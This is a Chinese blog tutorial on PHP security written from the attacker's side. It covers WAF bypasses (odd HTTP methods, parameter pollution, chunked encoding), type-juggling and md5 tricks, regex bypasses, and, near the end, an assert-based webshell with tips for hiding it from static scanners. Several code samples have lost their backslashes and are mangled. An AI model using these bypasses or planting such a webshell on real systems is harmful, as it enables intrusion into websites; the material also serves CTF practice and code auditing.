PHP安全:变量的前世今生

  • A+
所属分类:代码审计

摘要

变量安全是PHP安全的重要部分,本文系统地分析了一个变量的“人生之旅”中存在哪些安全问题。变量的人生之路:传入参数→变量生成→变量处理->变量储存。

Part1 传入参数

传参是一个从前台通过GET或者POST方法传递参数的过程,在这里我们往往会遇到URL-WAF的安全判断。URL-WAF指的是对请求的URL进行一系列正则匹配进行判断的功能。

1、传参时使用畸形的HTTP方法,很多WAF只检查POST或者GET方法

ABCDEFG /lab_value/get.php?num_value=hhh HTTP/1.1

GET /lab_value/get.php?num_value=hhh HTTP/1.1

上面两者是等效的,填HTTP方法的地方可以填任意非保留字。如下图所示。

PHP安全:变量的前世今生

PHP安全:变量的前世今生

PHP安全:变量的前世今生

PHP安全:变量的前世今生

2、 传参的正则匹配bypass:URL-WAF往往具有一些通病

(1).HPP参数污染。部分WAF在检查重复参数的时候,常常只检查第一个,我们可以通过重复传参bypass,如/?password=admin&&pasword=’ order by 1—+ 但要注意只有解析PHP的中间件才会把最后一个参数覆盖之前的参数(重复参数,如上面的例子)。

(2).截断绕过。

①长度截断:部分WAF在检查URL参数的时候,为了节约资源,往往会截取一定长度的参数进行安全检查,而忽略后面的参数。

②终止符截断。部分WAF遇到%00会判定参数读取完成,只检查部分内容。

数据分裂绕过。

(3).URL-WAF往往对每一个请求单独检查或在连续但分次的请求只检查第一次。

①利用分块编码传输绕过。当消息体的头(header)存在Transfer-Encoding:chunked时,代表使用了分块编码传输,可以将几次请求合并。

消息体由数量未定的块组成,每一个非空的块都以该块包含数据的字节数(字节数以十六进制表示)开始,跟随一个CRLF (回车及换行),然后是数据本身,最后块CRLF结束。最后一块是单行,由块大小(0),一些可选的填充白空格,以及CRLF。最后一块不再包含任何数据,但是可以发送可选的尾部,包括消息头字段。消息最后以CRLF结尾。

②利用pipline绕过。当消息体的头存在Connection:keep-alive时,代表本次请求建立的连接在Connection的值改为close前不会中断。注意要关闭burpsuit的repeater模块的Content-Length自动更新。

PHP安全:变量的前世今生

3、传参的数据类型匹配bypass:传入的变量类型出乎意料

对于$_GET[‘num_value’](并且$_POST[‘num_value’]也是同理)来说,并不是只有/?num_value=xxx作为合法有效的参数传递格式。PHP接受参数时会对得到的参数名进行一定变换。

输入的内容(传入时会url编码) PHP解析出的变量名
空格num_value num_value
num[value (这里必须左,右会报错) num_value
num.value num_value
Num_value(大小写敏感) 报错
num value num_value
num_value num_value

如果输入/?num_value[]=xxx 也是合法的,但是数据类型与上方清一色的string不同,传入一个数组。在ctf里常利用这一点,因为md5(数组)==0。

PHP安全:变量的前世今生

PHP安全:变量的前世今生

4、传参时的编码问题

(1).源代码存在文件操作函数时,url解码两次,此时可以两次编码urlencode。(如%27变为%25%27)

(2).Url解码时,如果遇到%+字母,会自动过滤%。如果传入sel%ect,解码得到select。

(3).Base64解码时,如果字符数量不是三倍数,会无法解码抛出错误。

Part2 变量生成

传入参数后,php会根据一定规则生成变量。

(1).服务器使用REQUEST获取参数,它可以通过POST和GET同时发包绕过部分WAF。

(2).服务器使用extract( )函数,把得到的变量中的键与值生成对应变量,可能会导致变量覆盖,从而造成安全问题。Ctf常用来覆盖白名单。

(3).变量名加上[]传入数组,绕过关于md5函数的一些检查。

如md5(aaa[])===md5(bbb[])

(4).反序列化。服务器使用unserialize( )函数处理参数,实例化成一个对象。这里要提到一个PHP关于变量生成的特殊性质。

Var_dump(“x66x6cx61x67”==”flag”); // 输出是bool(ture)同样的,反序列化
O:5”Guess”:1:{s:3:”key”;s:16:”x66x6cx61x67”;}
与反序列化
O:5”Guess”:1:{s:3:”key”;s:16:”flag”;}
没有区别

x66是字符串的ascii值的十六进制形式在前加上x,可以用下面的脚本生成

<?php
$string = 'flag';//在这里输入要处理的字符串$arr = str_split(bin2hex($string), 2);foreach ($arr as $value) {print('x'.$value);}//结果是 x66x6cx61x67?>

(5).跟4的原理有相似之处。md5(xxx,ture)会输出一个16位的二进制数据,这个二进制数据也有机会被php解码。所以xxx是ffifdyop时,会被php认为类似于万能密码’ or 1=1

(实际上有一点区别,后面不是1=1,但是也是TURE)

Part3 变量处理

生成一个变量后,PHP无非就是进行三种处理——变量比较,正则匹配,反序列化,下面我们来逐个分析。(反序列化本篇暂且不提,以后专门讲)

1、变量比较

PHP的弱类型自诞生以来就不断遭人诟病。PHP有两种比较是否相等的符号,分别是”==”和”===”,前者只比较值是否相等,当不同类型互相比较会自动转型,安全问题就发生在这里,后者先比较类型,再比较值,对类型不同的比较返回false。

如下表:

var_dump("abcd"==0); //truevar_dump("1abcd"==1);//truevar_dump("abcd1"==1) //false 字符串和数字比较,比较前面的同类型部分var_dump(abdc1==0)   //true 但是同时会报错var_dump(abdc1==1)   //false 但是同时会报错var_dump(False==0)  //truevar_dump("abcd1"==0) //truevar_dump("0e123456789"=="0e888888") //true php把0e开头解释为科学计数法,为0不过,字符串和布尔值不能比较

2、正则匹配

(1).异或绕过

PHP有一个神奇的特性,异或。异或本身并不是神奇的东西,但是PHP可以让字符串以ascii编码进行异或
异或的简单规则:如果a、b两个值不相同,那么异或结果为1。如果a、b两个值相同,那么异或结果为0。比较两边只能有一个为true时才返回为true否则返回false。字母与数字(类似int整形的真正的数字)异或结果是原数字,不带引号的字母会被认为是字符串。

3 xor 2==12 xor 2==0'`'^'*'=='J' (ascii编码异或)a^2==2 (但会报错)附上一个python脚本def xor():for x in range(0,127):for y in range(0,127):z=x^yprint("  "+chr(x)+"ascii:"+str(x)+' xor '+chr(y)+" ascii:"+str(y)+' == '+chr(z)+" ascii:"+str(z))
//复制粘贴要注意这里和上一行是同一行,不然报错
if __name__ == "__main__":xor()

下面是一个简单的例子。

PHP安全:变量的前世今生

PHP安全:变量的前世今生

(2).pcre回溯次数绕过

PHP的正则表达式中,匹配模式带有通配符(例如或者?)就有可能发生回溯。通配符前面和后面存在其他匹配要求,就容易引起回溯,正则表达式每一个符号都会匹配完整个字符串,匹配得出的临时结果让下一个正则匹配符号再次匹配完整个字符串。

比如/^<.>/,它会匹配一个html标签里面的内容。当我们输入bcdefg用于匹配时,<匹配到开头的尖括号,匹配到行末,没有发现尖括号,结果是开头的尖括号。从去除第一个尖括号的结果继续匹配,由于什么都能匹配,直接匹配到行末。此时>开始匹配,发现行末后面没有字符串就开始回溯,匹配g,发现不对,在临时结果中去掉g,继续回溯,匹配f,不对,回溯,如此反复得到>,匹配出终极结果。当bcdefg达到一百万个时,PHP不会继续回溯,就跳过了匹配返回false,从而绕过正则。PHP为了避免这种问题,提出了新的语句规范,正则匹配如果是未匹配到字符,会返回0,回溯次数太多,返回false。使用===比较结果,就不会绕过if判断。

PHP安全:变量的前世今生

PHP安全:变量的前世今生

PHP安全:变量的前世今生

PHP安全:变量的前世今生

Part4 变量储存

一个变量有时候在处理完还有最后一步,储存(入土)。储存之后,依旧会有WAF来检查有没有威胁(诈尸)。但无无论如何,现在的储存检查都是静态检查,所以绕过起来并不困难。(即使是D盾)

1、静态绕过

(1).命名空间的利用

贴一段PHP中文手册内容<?phpnamespace A;use BD, CE as F;// 函数调用foo();      // 首先尝试调用定义在命名空间"A"中的函数foo()// 再尝试调用全局函数 "foo"foo();     // 调用全局空间函数 "foo"myfoo();   // 调用定义在命名空间"Amy"中函数 "foo"F();        // 首先尝试调用定义在命名空间"A"中的函数 "F"// 再尝试调用全局函数 "F"// 类引用new B();    // 创建命名空间 "A" 中定义的类 "B" 的一个对象// 如果未找到,则尝试自动装载类 "AB"new D();    // 使用导入规则,创建命名空间 "B" 中定义的类 "D" 的一个对象// 如果未找到,则尝试自动装载类 "BD"new F();    // 使用导入规则,创建命名空间 "C" 中定义的类 "E" 的一个对象// 如果未找到,则尝试自动装载类 "CE"new B();   // 创建定义在全局空间中的类 "B" 的一个对象// 如果未发现,则尝试自动装载类 "B"new D();   // 创建定义在全局空间中的类 "D" 的一个对象// 如果未发现,则尝试自动装载类 "D"new F();   // 创建定义在全局空间中的类 "F" 的一个对象// 如果未发现,则尝试自动装载类 "F"// 调用另一个命名空间中的静态方法或命名空间函数Bfoo();    // 调用命名空间 "AB" 中函数 "foo"B::foo();   // 调用命名空间 "A" 中定义的类 "B" 的 "foo" 方法// 如果未找到类 "AB" ,则尝试自动装载类 "AB"D::foo();   // 使用导入规则,调用命名空间 "B" 中定义的类 "D" 的 "foo" 方法// 如果类 "BD" 未找到,则尝试自动装载类 "BD"Bfoo();   // 调用命名空间"B" 中的函数 "foo"B::foo();  // 调用全局空间中的类 "B" 的 "foo" 方法// 如果类 "B" 未找到,则尝试自动装载类 "B"// 当前命名空间中的静态方法或函数AB::foo();   // 调用命名空间 "AA" 中定义的类 "B" 的 "foo" 方法// 如果类 "AAB" 未找到,则尝试自动装载类 "AAB"AB::foo();  // 调用命名空间 "AB" 中定义的类 "B" 的 "foo" 方法// 如果类 "AB" 未找到,则尝试自动装载类 "AB"?>

静态检查储存的变量(比如小马),回调函数加上一个命名空间一般都可以绕过,手册内容太多,一般面对百分之九十的WAF,在回调函数前面加一个就完事了。

(2).自定义函数

利用自定义函数对字符串或者函数名进行拼接,删改,替换,除了绕过WAF,更有一些优秀的危险代码可以绕过人,比如对代码后面的空格统计数量转化成字符。

这里附上一个简单的自定义函数,万法归一,都是类似的。


<?phpfunction x($a,$b){call_user_func_array($a,$b);}x(‘assert’,array($_POST[‘a’]));//甚至对于assert这个关键字也可以用变量再次拼接 $y=’a’+’ssert’;?>

除了把保留函数二次调用,也可以通过自建加密函数来做到类似效果,只要把静态化为动态就可以躲避扫描。

PHP安全:变量的前世今生

精彩推荐





PHP安全:变量的前世今生
PHP安全:变量的前世今生PHP安全:变量的前世今生

PHP安全:变量的前世今生

PHP安全:变量的前世今生

PHP安全:变量的前世今生

PHP安全:变量的前世今生

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: